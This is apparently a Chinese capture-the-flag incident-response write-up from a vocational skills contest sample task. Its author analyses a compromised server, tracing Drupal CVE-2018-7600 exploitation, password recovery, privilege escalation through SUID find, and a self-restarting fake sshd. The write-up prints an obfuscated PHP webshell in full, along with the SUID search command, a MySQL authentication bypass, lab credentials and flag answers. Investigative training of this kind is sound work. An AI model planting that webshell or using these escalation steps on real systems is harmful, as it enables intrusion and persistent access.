账号:root密码:123456
环境部署


信息收集
获取靶机IP
arp-scan-l
nmap 192.168.11.0/24
ps:一直扫不到98结尾的MAC地址,应该是用的静态获取
果然是静态获取的IP地址,改成动态获取
把IP地址子网掩码网关DNS地址全部注释掉,BOOTPROTO改为DHCP即可
重启一下
已经与kali同网段了,也就是192.168.11.x
用nmap扫一下开放端口和指纹
nmap -sS -T5 --min-rate 10000 192.168.11.129 -sC -p-
可以看见靶机开放了ssh端口,那不用多说,直接用kali连接靶机
应急响应嘛,第一步肯定是先看history啦

挑出一些比较重要的地方,给自己一点思路,不难看出,黑客一直在动var/log/httpd下的日志文件,那我们就顺藤摸瓜
有很多日志文件,还有几个报错和奇奇怪怪的的日志,先从黑客一直在动的那几个日志文件下手,也就是access-log-20200628和access-log-20231129


题目
1..提交攻击者的两个内网IP地址
先从比较早的access_log-20200628看起,搜索POST可以看见有一个whoami的可疑命令
????
把这段记录解码看看
看到这个就熟悉了,很明显的CVE漏洞利用嘛,原CVE是Drupal 7.x(CVE-2018-7600)
那这题就解出来了,192.168.21.1就是黑客内网IP地址
这篇日志也就没什么可用信息了,全是这个IP的请求什么的,我们换下一个日志
依旧是看POST请求,这个请求里面带了一个id命令,有点可疑
嗯,很明显,也是一个典型的漏洞利用,源漏洞是Drupal 7.x(CVE-2018-7600
第二个黑客内网IP也就是:192.168.21.137
第一题也就做完了
2.提交网站管理员用户的用户名与密码



分析题目,网站管理员用户和密码,网站肯定有数据库,之前信息搜集的时候就看见了mysql开放的端口,那用户名和密码肯定就储存在mysq中了,但是我们不知道数据库的密码,我们只需要找到mysql的配置文件,查看密码或者绕过密码

进入网站根目录搜索关键词,比如
xxx.env settings.php config.php

找到了此文件的目录信息,我们去看一下
找到了mysql数据库的密码,
root:worldskills
 但是后面好像死活登录不上去,那只能绕过了
vim /etc/my/cnf
加入这一行代码即可绕过mysql
直接进数据库了不需要密码
可以看到有一个worldskills_db,进去后看表有一个users表,那里面肯定就藏的网站管理员用户名和密码
有点看不清楚……
在后面查询语句后面加上G 纵向输出
可以看到用户名为root,密码被hash加密了,得爆破碰撞一下
密码是1111
得到flag{admin:111}
3.提交黑客得到mysql服务的root账号密码的时间
(格式:dd/MM/yyyy:hh:mm:ss)

继续来看日志,盲猜一下是用cat来获得密码,所以我们直接搜cat


第一个没什么可用信息,我们看下一个

有一个base64的字段,有点可疑,我们把他前面那一串用base64解码试试
这个路径正好是写着mysq账户密码的文件
所以flag也就出来了
flag{30/Jun/2020:04:09:12}

2024-2024年重庆职业院校技能大赛“信息安全管理与评估”比赛样题(3)
4.查找黑客在WEB应用文件中写入的恶意代码,提交
文件绝对路径


还是在这几个日志里面找
发现一大串不知道是什么东西的字符,太奇怪了
用url解码看看
webshell的解密好像有些问题,但是不影响能看出黑客利用cve2018的漏洞打印一些php恶意代码回传给cron.php文件里面
flag{/var/www/html/cron.php}

5.查找黑客在WEB应用文件中写入的恶意代码,提交
代码的最简形式(格式:<?php xxxx?>)

第四题已经找到了恶意代码
flag{<?php $__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___='瞰';$____.=~($___{$_});$___='和';$____.=~($___{$__});$___='和';$____.=~($___{$__});$___='的';$____.=~($___{$_});$___='半';$____.=~($___{$_});$___='始';$____.=~($___{$__});$_____='_';$___='俯';$_____.=~($___{$__});$___='瞰';$_____.=~($___{$__});$___='次';$_____.=~($___{$_});$___='站';$_____.=~($___{$_});$_=$$_____;$____($_[$__]);?>}
6.分析攻击者的提权手法,提交攻击者通过哪一个指
令成功提权



还是继续翻日志,慢慢翻看见了find,那就很熟悉了,很熟悉的find提权 responsecode是200
嗯……貌似没什么有用的信息,看来不是这个,我们看另一条数据


对的上了,解码后还有一个base64,解码出来看看
分析可以得出,攻击者借用find命令的高级权限使用whoami命令
猛然想到前面那条find记录

find / -perm -u=s -type f 2>/dev/null
攻击者静默查找SUID权限的可执行文件,目的是利用SUID去提权执行命令
flag{find}

7.服务器内与动态恶意程序相关的三个文件绝对路径
ps -ef  # 查看当前服务器进程
发现sshd的PPID和sleep5的PPID是一致的
通常情况下sshd的PPID应该是1,sleep5也就是他的子进程有点像反弹shell继而延迟执行


搜索ssh.service
查看sshd的配置文件ssh.service启动该服务需要执行的命令和参数
ExecStart要执行的文件路径指向了/etc/sshd/sshd,我们打开看看

不难看出是一个循环语句,简单概括就是杀掉sshd下的所有进程并且把启动日志也删了,等待五秒后再次重复
这样应该是为了让sshd常驻后台运行,即使被kill掉了过了5秒还能自己再起来,杀掉自己是为了不让后台进程重复堆积,防止被看出端倪
flag{/usr/lib/systemd/system/ssh.service,/etc/sshd/sshd,/bin/sshd}
8.恶意程序对外连接的目的ip地址

flag{47.113.101.105}
总的来说这道题考的还是比较有意思的,几乎全是CVE漏洞利用